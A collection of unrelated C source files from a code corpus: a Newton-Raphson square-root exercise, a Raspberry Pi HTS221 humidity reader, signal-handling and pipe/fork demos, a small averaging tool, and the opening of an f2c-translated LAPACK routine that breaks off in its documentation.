// /_/ /_/ |__,'/_n_/ / \,' /.' \ ,' _/,' \ / |/ /
// / \,' // o /_\ `./ o // || /
// /_/ /_//_n_//___,'|_,'/_/|_/
//
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
// Author : Wesley Taylor-Rendal (WTR)
// Design history : Review git logs.
// Description : Modify Program 8.8 and Exercise 8.5 so that sqrt function
// : accepts double precision
// Concepts : Double precision affects accuracy, change epsilon to see,
// : for example 144 sqrt is 12
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#include <stdio.h>
double absVal (double x)
{
if (x < 0)
x = -x;
return x;
}
// Newton Raphsom Method
// 1. set guess = 1
// 2. if abs x^2 -x is less than epsi then quit
// 3. set guess to x / guess+guess and loop back to 2.
// 4. you got aprx
double sqrt (double x, const double epsilon)
{
// const float epsilon = 0.00001;
double guess = 1.0;
printf("Guess : %f, ", guess);
//while (absVal(guess*guess - x) >= epsilon)
do {
guess = (x / guess + guess) / 2.0;
printf(" %f", guess);
if (absVal(guess*guess - x) >= epsilon) // could change to be ratio too
printf(",");
} while (absVal(guess*(guess / x)) >= epsilon);
printf("\n");
return guess;
}
int main (void)
{
// const double epsilon = 0.00001;
// const double epsilon = 0.01;
//const double epsilon = 1.01; // how close ratio is to 1
const double epsilon = 1.00001; // how close ratio is to 1
printf("Square root of (2.0) = %f\n", sqrt(2.0, epsilon));
printf("Square root of (144.0) = %f\n", sqrt(144.0, epsilon));
printf("Square root of (17.5) = %f\n", sqrt(17.5, epsilon));
// printf("Square root of (-17.5) = %f\n", sqrt(-17.5));
return 0;
}
|
the_stack_data/15762427.c
|
/*
* C code to read humidity and temperature from the
* Raspberry Pi Sense HAT add-on board (HTS221 sensor)
*
* sudo raspi-config --> advanced options --> enable i2c
*
* sudo apt-get install libi2c-dev i2c-tools
*
* Then build with:
*
* gcc -Wall humidity.c -o humidity
*
*/
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/i2c-dev.h>
#define DEV_PATH "/dev/i2c-1"
#define DEV_ID 0x5F
#define WHO_AM_I 0x0F
#define CTRL_REG1 0x20
#define CTRL_REG2 0x21
#define T0_OUT_L 0x3C
#define T0_OUT_H 0x3D
#define T1_OUT_L 0x3E
#define T1_OUT_H 0x3F
#define T0_degC_x8 0x32
#define T1_degC_x8 0x33
#define T1_T0_MSB 0x35
#define TEMP_OUT_L 0x2A
#define TEMP_OUT_H 0x2B
#define H0_T0_OUT_L 0x36
#define H0_T0_OUT_H 0x37
#define H1_T0_OUT_L 0x3A
#define H1_T0_OUT_H 0x3B
#define H0_rH_x2 0x30
#define H1_rH_x2 0x31
#define H_T_OUT_L 0x28
#define H_T_OUT_H 0x29
void delay(int);
int main(void)
{
int fd = 0;
uint8_t status = 0;
/* open i2c comms */
if ((fd = open(DEV_PATH, O_RDWR)) < 0) {
perror("Unable to open i2c device");
exit(1);
}
/* configure i2c slave */
if (ioctl(fd, I2C_SLAVE, DEV_ID) < 0) {
perror("Unable to configure i2c slave device");
close(fd);
exit(1);
}
/* check we are who we should be */
if (i2c_smbus_read_byte_data(fd, WHO_AM_I) != 0xBC) {
printf("%s\n", "who_am_i error");
close(fd);
exit(1);
}
/* Power down the device (clean start) */
i2c_smbus_write_byte_data(fd, CTRL_REG1, 0x00);
/* Turn on the humidity sensor analog front end in single shot mode */
i2c_smbus_write_byte_data(fd, CTRL_REG1, 0x84);
/* Run one-shot measurement (temperature and humidity). The set bit will be reset by the
* sensor itself after execution (self-clearing bit) */
i2c_smbus_write_byte_data(fd, CTRL_REG2, 0x01);
/* Wait until the measurement is completed */
do {
delay(25); /* 25 milliseconds */
status = i2c_smbus_read_byte_data(fd, CTRL_REG2);
}
while (status != 0);
/* Read calibration temperature LSB (ADC) data
* (temperature calibration x-data for two points)
*/
uint8_t t0_out_l = i2c_smbus_read_byte_data(fd, T0_OUT_L);
uint8_t t0_out_h = i2c_smbus_read_byte_data(fd, T0_OUT_H);
uint8_t t1_out_l = i2c_smbus_read_byte_data(fd, T1_OUT_L);
uint8_t t1_out_h = i2c_smbus_read_byte_data(fd, T1_OUT_H);
/* Read calibration temperature (°C) data
* (temperature calibration y-data for two points)
*/
uint8_t t0_degC_x8 = i2c_smbus_read_byte_data(fd, T0_degC_x8);
uint8_t t1_degC_x8 = i2c_smbus_read_byte_data(fd, T1_degC_x8);
uint8_t t1_t0_msb = i2c_smbus_read_byte_data(fd, T1_T0_MSB);
/* Read calibration relative humidity LSB (ADC) data
* (humidity calibration x-data for two points)
*/
uint8_t h0_out_l = i2c_smbus_read_byte_data(fd, H0_T0_OUT_L);
uint8_t h0_out_h = i2c_smbus_read_byte_data(fd, H0_T0_OUT_H);
uint8_t h1_out_l = i2c_smbus_read_byte_data(fd, H1_T0_OUT_L);
uint8_t h1_out_h = i2c_smbus_read_byte_data(fd, H1_T0_OUT_H);
/* Read relative humidity (% rH) data
* (humidity calibration y-data for two points)
*/
uint8_t h0_rh_x2 = i2c_smbus_read_byte_data(fd, H0_rH_x2);
uint8_t h1_rh_x2 = i2c_smbus_read_byte_data(fd, H1_rH_x2);
/* make 16 bit values (bit shift)
* (temperature calibration x-values)
*/
int16_t T0_OUT = t0_out_h << 8 | t0_out_l;
int16_t T1_OUT = t1_out_h << 8 | t1_out_l;
/* make 16 bit values (bit shift)
* (humidity calibration x-values)
*/
int16_t H0_T0_OUT = h0_out_h << 8 | h0_out_l;
int16_t H1_T0_OUT = h1_out_h << 8 | h1_out_l;
/* make 16 and 10 bit values (bit mask and bit shift) */
uint16_t T0_DegC_x8 = (t1_t0_msb & 3) << 8 | t0_degC_x8;
uint16_t T1_DegC_x8 = ((t1_t0_msb & 12) >> 2) << 8 | t1_degC_x8;
/* Calculate calibration values
* (temperature calibration y-values)
*/
double T0_DegC = T0_DegC_x8 / 8.0;
double T1_DegC = T1_DegC_x8 / 8.0;
/* Humidity calibration values
* (humidity calibration y-values)
*/
double H0_rH = h0_rh_x2 / 2.0;
double H1_rH = h1_rh_x2 / 2.0;
/* Solve the linear equasions 'y = mx + c' to give the
* calibration straight line graphs for temperature and humidity
*/
double t_gradient_m = (T1_DegC - T0_DegC) / (T1_OUT - T0_OUT);
double t_intercept_c = T1_DegC - (t_gradient_m * T1_OUT);
double h_gradient_m = (H1_rH - H0_rH) / (H1_T0_OUT - H0_T0_OUT);
double h_intercept_c = H1_rH - (h_gradient_m * H1_T0_OUT);
/* Read the ambient temperature measurement (2 bytes to read) */
uint8_t t_out_l = i2c_smbus_read_byte_data(fd, TEMP_OUT_L);
uint8_t t_out_h = i2c_smbus_read_byte_data(fd, TEMP_OUT_H);
/* make 16 bit value */
int16_t T_OUT = t_out_h << 8 | t_out_l;
/* Read the ambient humidity measurement (2 bytes to read) */
uint8_t h_t_out_l = i2c_smbus_read_byte_data(fd, H_T_OUT_L);
uint8_t h_t_out_h = i2c_smbus_read_byte_data(fd, H_T_OUT_H);
/* make 16 bit value */
int16_t H_T_OUT = h_t_out_h << 8 | h_t_out_l;
/* Calculate ambient temperature */
double T_DegC = (t_gradient_m * T_OUT) + t_intercept_c;
/* Calculate ambient humidity */
double H_rH = (h_gradient_m * H_T_OUT) + h_intercept_c;
/* Output */
printf("%.1f°C\n", T_DegC);
printf("%.0f%% rH\n", H_rH);
/* Power down the device */
i2c_smbus_write_byte_data(fd, CTRL_REG1, 0x00);
close(fd);
return (0);
}
void delay(int t)
{
usleep(t * 1000);
}
|
the_stack_data/22907.c
|
#include <stdlib.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
void segfault_sigaction(int signal, siginfo_t *si, void *arg)
{
printf("Do not segfault!\n");
exit(0);
}
void boo() {
__asm__("mov 0xFFFF0000, %rax");
return;
}
int main(void) {
struct sigaction sa;
memset(&sa, 0, sizeof(struct sigaction));
sigemptyset(&sa.sa_mask);
sa.sa_sigaction = segfault_sigaction;
sa.sa_flags = SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
boo();
return 0;
}
|
the_stack_data/1252044.c
|
#include <stdio.h>
#include <stdlib.h>
int main (int argn, char **argc)
{
FILE *file;
double x, r[5];
int i, n, imin, imax;
if (argn != 4)
return 1;
file = fopen (argc[1], "r");
if (!file)
return 1;
imin = atoi (argc[2]);
imax = atoi (argc[3]);
for (x = 0., i = n = 0;
fscanf (file, "%lf%lf%lf%lf%lf", r, r + 1, r + 2, r + 3, r + 4) == 5;)
{
++i;
if (i > imax)
break;
if (i >= imin)
{
x += r[4];
++n;
}
}
fclose (file);
printf ("Mean load=%lf\n", x / n);
return 0;
}
|
the_stack_data/55209.c
|
const unsigned char FBSnapshotTestCaseVersionString[] __attribute__ ((used)) = "@(#)PROGRAM:FBSnapshotTestCase PROJECT:Pods-2.0.4" "\n"; const double FBSnapshotTestCaseVersionNumber __attribute__ ((used)) = (double)2.0;
|
the_stack_data/93381.c
|
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <limits.h>
#include <errno.h>
#define READ_BUF_SIZE 100
//Error check macro
#define TEST_ERROR if (errno) {fprintf(stderr, \
"%s:%d: PID=%5d: Error %d (%s)\n",\
__FILE__,\
__LINE__,\
getpid(),\
errno,\
strerror(errno));}
int main() {
//Variables
int pipez[2]; // [0] --> read - [1] --> write
const char some_data[] = "Bro no pressure really, you're a master at work."; //Data to be passed through pipe
pid_t fork_res; //fork() variable
char *mode = "R";
//Setting for opening pipe and errors
pipe(pipez);
TEST_ERROR;
//Creating 2 brothers and handling them
for(int i = 0; i < 2; i++){
//Change mode if It's the second child
if(i==1){ mode="W"; }
switch (fork_res = fork()){
//Handle error
case -1:
TEST_ERROR;
exit(EXIT_FAILURE);
break;
//Handle brothers (children)
case 0:
//Writing brother
if(strcmp(mode,"W")){
//Init
close(pipez[0]);
printf("\nSneak here, the writing brother is ready! (PID=%d)\n",getpid());
//Writing some data
write(pipez[1],some_data,strlen(some_data));
printf("I just wrote a %ld bytes message, hoping my brother reciving it.\n\n",strlen(some_data));
//Closing writing flux
close(pipez[1]);
}
//Reading brother
else{
//Init
close(pipez[1]);
printf("\nYoooo, reading brother here! (PID=%d)\n",getpid());
//Reading some data if available
char buffer[BUFSIZ + 1]; //Buffer array
memset(buffer, '\0', sizeof(buffer));
int data_processed = read(pipez[0],buffer,READ_BUF_SIZE);
printf("Alright alright alright, let's see what we've got!\n");
printf("A message of %d bytes from my writing brother, here what it is: '%s'\n\n", data_processed, buffer);
//Closing reading flux
close(pipez[0]);
}
//Brothers' exit
exit(EXIT_SUCCESS);
break;
//Handle parent
default:
printf("Parent (PID=%d) of 2 awesome child.\n",getpid());
}
}
printf("Parent ended.\n\n");
exit(EXIT_SUCCESS);
}
|
the_stack_data/113934.c
|
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/Cd(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* > \brief \b ZLAPLL measures the linear dependence of two vectors. */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download ZLAPLL + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zlapll.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zlapll.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zlapll.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE ZLAPLL( N, X, INCX, Y, INCY, SSMIN ) */
/* INTEGER INCX, INCY, N */
/* DOUBLE PRECISION SSMIN */
/* COMPLEX*16 X( * ), Y( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > Given two column vectors X and Y, let */
/* > */
/* > A = ( X Y ). */
/* > */
/* > The subroutine first computes the QR factorization of A = Q*R, */
/* > and then computes the SVD of the 2-by-2 upper triangular matrix R. */
/* > The smaller singular value of R is returned in SSMIN, which is used */
/* > as the measurement of the linear dependency of the vectors X and Y. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The length of the vectors X and Y. */
/* > \endverbatim */
/* > */
/* > \param[in,out] X */
/* > \verbatim */
/* > X is COMPLEX*16 array, dimension (1+(N-1)*INCX) */
/* > On entry, X contains the N-vector X. */
/* > On exit, X is overwritten. */
/* > \endverbatim */
/* > */
/* > \param[in] INCX */
/* > \verbatim */
/* > INCX is INTEGER */
/* > The increment between successive elements of X. INCX > 0. */
/* > \endverbatim */
/* > */
/* > \param[in,out] Y */
/* > \verbatim */
/* > Y is COMPLEX*16 array, dimension (1+(N-1)*INCY) */
/* > On entry, Y contains the N-vector Y. */
/* > On exit, Y is overwritten. */
/* > \endverbatim */
/* > */
/* > \param[in] INCY */
/* > \verbatim */
/* > INCY is INTEGER */
